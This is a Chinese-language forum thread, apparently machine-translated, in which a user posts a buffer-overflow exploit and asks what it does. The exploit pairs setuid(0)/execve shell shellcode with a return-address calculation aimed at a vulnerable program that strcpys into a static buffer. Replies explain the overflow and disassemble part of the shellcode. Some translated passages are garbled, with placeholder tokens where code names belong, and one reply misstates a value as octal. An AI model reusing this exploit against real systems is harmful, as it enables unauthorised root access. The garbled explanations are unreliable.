这个程序在做什么?

|
#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] =\"\\x31\\xdb\\x53\\x8d\\x43\\x17\\xcd\\x80\\x99\\x68\\x6e\\x2f\\x73\\x68\\x68\"
\"\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"; 

int main(void){
    char buf[bufsize] ;
    char *proc[]={\"./bss2\",buf,NULL};
    char *envir[]={\"Bytes=2Lu\",shellcode,NULL};
    unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
    memset(buf,0x42,sizeof(buf));
    memcpy(buf + bufsize - 4,(char *)&ret_addr,4);
    execve(proc[0],proc,envir);
    return 0;
}
execve
之前的ѭ1和ѭ2是什么?它对程序
proc
有什么影响? bss2的更新代码
#define LEN 256
void output(char *);
int main(int argc, char **argv) {
    static char buffer[LEN];
    static void (*func) (char *);
    func = output;
    strcpy(buffer, argv[1]);
    func(buffer);
    return EXIT_SUCCESS;
}
void output(char *string) {
    fprintf(stdout, \"%s\", string);
}
更新 现在看来问题归结为环境变量位于何处?     
已邀请:
该代码正在构造一个参数字符串和一个环境(例如,环境变量所在的地方)。参数在
argv[0]
中包含
\"./bss2\"
,并在
argv[1]
中包含256个
B
字符字符串和一个返回地址。该环境在第一个位置包含一个虚拟变量,在第二个位置包含shellcode。 假定目标应用程序“ 10”包含一个变量“ 11”,它将变量“ 9”复制到其中,而没有边界检查。这将导致函数返回地址被
ret_addr
中计算出的返回地址所覆盖,并希望指向环境块。     
对我来说似乎很奇怪,因为buf参数不是以空值结尾的。 好吧,memset和memcpy对第一个程序参数进行了一些修改,然后execve启动了它。抱歉,不能说更多...     
我不是专家,但看起来它正在尝试运行某些漏洞利用程序。 指示符包括标识符
shellcode
,使用
memset
/
memcpy
操纵另一个可执行文件的参数并计算一些
ret_addr
值。     
您发布的代码似乎没有定义某些项目。 Shellcode是定义为宏还是其他?值bufsize也是未知的。 memset调用似乎使用八进制值0x42初始化了缓冲区buf。 memcpy调用似乎在buf的末尾插入了一个地址。 如前所述,该缓冲区(buf)最终作为参数传递给bss2进程。     
由于
bufsize
shellcode
未定义,因此无法编译。 更严重的是,它似乎正在尝试利用缓冲区溢出或称为“ 10”的shell命令上的类似内容。     
作为我自己的练习,我开始手工拆卸shellcode。我得到了:
XOR ebx, ebx  #clear ebx
PUSH ebx     #push ebx onto the stack
LEA eax, [ebx+23]  #load 23 into eax
INT 80      #do a system call
在那之后,我感到无聊,但是在Linux中用于INT 80调用的系统调用23是sys_setuid,因此将UID设置为0或获取root的代码看起来像是。不足为奇,因为它是外壳程序代码。 :-)     

要回复问题请先登录注册